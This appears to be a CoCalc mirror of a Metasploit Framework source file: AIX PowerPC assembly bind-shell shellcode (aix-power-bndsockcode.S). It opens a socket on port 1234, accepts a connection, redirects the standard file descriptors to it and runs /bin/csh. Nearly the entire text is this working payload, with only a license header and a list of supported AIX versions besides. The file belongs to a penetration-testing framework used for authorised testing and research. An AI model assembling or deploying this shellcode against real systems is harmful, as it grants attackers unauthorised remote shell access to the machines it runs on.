CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/aix-power-bndsockcode.S
Views: 11766
1
/*
2
* aix-power-bndsockcode.S
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
/*
22
* Supported AIX versions:
23
*
24
* -DAIX614 AIX Version 6.1.4
25
* -DAIX613 AIX Version 6.1.3
26
* -DAIX612 AIX Version 6.1.2
27
* -DAIX611 AIX Version 6.1.1
28
* -DAIX5310 AIX Version 5.3.10
29
* -DAIX539 AIX Version 5.3.9
30
* -DAIX538 AIX Version 5.3.8
31
* -DAIX537 AIX Version 5.3.7
32
*
33
*/
34
35
#include "aix-power.h"
36
37
.globl .main
38
.csect .text[PR]
39
40
.main:
41
42
syscallcode:
43
xor. %r31,%r31,%r31
44
bnel syscallcode
45
mflr %r30
46
cal %r30,511(%r30)
47
cal %r30,-511+28(%r30)
48
mtctr %r30
49
bctr
50
crorc %cr6,%cr6,%cr6
51
.long 0x44ffff02
52
cal %r30,-8(%r30)
53
54
bndsockcode:
55
lil %r29,__CAL
56
57
# socket
58
59
xor %r5,%r5,%r5
60
cal %r4,-__CAL+1(%r29)
61
cal %r3,-__CAL+2(%r29)
62
cal %r2,__NC_socket(%r29)
63
mtctr %r30
64
bctrl
65
mr %r28,%r3
66
67
# bind
68
69
cal %r5,-__CAL+16(%r29)
70
liu %r27,0xff02
71
oril %r27,%r27,0x04d2
72
stu %r31,-4(%r1)
73
stu %r27,-4(%r1)
74
mr %r4,%r1
75
cal %r2,__NC_bind(%r29)
76
mtctr %r30
77
bctrl
78
79
# listen
80
81
xor %r4,%r4,%r4
82
mr %r3,%r28
83
cal %r2,__NC_listen(%r29)
84
mtctr %r30
85
bctrl
86
87
# accept
88
89
xor %r5,%r5,%r5
90
xor %r4,%r4,%r4
91
mr %r3,%r28
92
cal %r2,__NC_accept(%r29)
93
mtctr %r30
94
bctrl
95
mr %r26,%r3
96
97
# close
98
99
cal %r25,-__CAL+2(%r29)
100
101
0:
102
mr %r3,%r25
103
cal %r2,__NC_close(%r29)
104
mtctr %r30
105
bctrl
106
107
# kfcntl
108
109
mr %r5,%r25
110
xor %r4,%r4,%r4
111
mr %r3,%r26
112
cal %r2,__NC_kfcntl(%r29)
113
mtctr %r30
114
bctrl
115
116
ai. %r25,%r25,-1
117
bge 0b
118
119
shellcode:
120
# lil %r29,__CAL
121
xor. %r5,%r5,%r5
122
bnel shellcode
123
# mflr %r30
124
# cal %r30,511(%r30)
125
# cal %r3,-511+40(%r30)
126
# stb %r5,-511+48(%r30)
127
mflr %r24
128
cal %r24,511(%r24)
129
cal %r3,-511+40(%r24)
130
stb %r5,-511+48(%r24)
131
stu %r5,-4(%r1)
132
stu %r3,-4(%r1)
133
mr %r4,%r1
134
cal %r2,__NC_execve(%r29)
135
# crorc %cr6,%cr6,%cr6
136
# .long 0x44ffff02
137
mtctr %r30
138
bctrl
139
.asciz "/bin/csh"
140
141
142